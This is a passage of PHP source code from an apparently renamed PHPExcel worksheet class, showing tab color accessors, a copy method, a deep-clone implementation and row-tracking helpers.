public function getTabColor()
{
if ($this->_tabColor === NULL)
$this->_tabColor = new KDAPHPExcel_Style_Color();
return $this->_tabColor;
}
/**
* Reset tab color
*
* @return KDAPHPExcel_Worksheet
*/
public function resetTabColor()
{
$this->_tabColor = null;
unset($this->_tabColor);
return $this;
}
/**
* Tab color set?
*
* @return boolean
*/
public function isTabColorSet()
{
return ($this->_tabColor !== NULL);
}
/**
* Copy worksheet (!= clone!)
*
* @return KDAPHPExcel_Worksheet
*/
public function copy() {
$copied = clone $this;
return $copied;
}
/**
* Implement PHP __clone to create a deep clone, not just a shallow copy.
*/
public function __clone() {
foreach ($this as $key => $val) {
if ($key == '_parent') {
continue;
}
if (is_object($val) || (is_array($val))) {
if ($key == '_cellCollection') {
$newCollection = clone $this->_cellCollection;
$newCollection->copyCellCollection($this);
$this->_cellCollection = $newCollection;
} elseif ($key == '_drawingCollection') {
$newCollection = clone $this->_drawingCollection;
$this->_drawingCollection = $newCollection;
} elseif (($key == '_autoFilter') && ($this->_autoFilter instanceof KDAPHPExcel_Worksheet_AutoFilter)) {
$newAutoFilter = clone $this->_autoFilter;
$this->_autoFilter = $newAutoFilter;
$this->_autoFilter->setParent($this);
} else {
$this->{$key} = unserialize(serialize($val));
}
}
}
}
public function setRealHighestRow($pRow)
{
$this->_realHighestRow = $pRow;
}
public function getRealHighestRow()
{
return max($this->getHighestDataRow(), $this->_realHighestRow);
}
}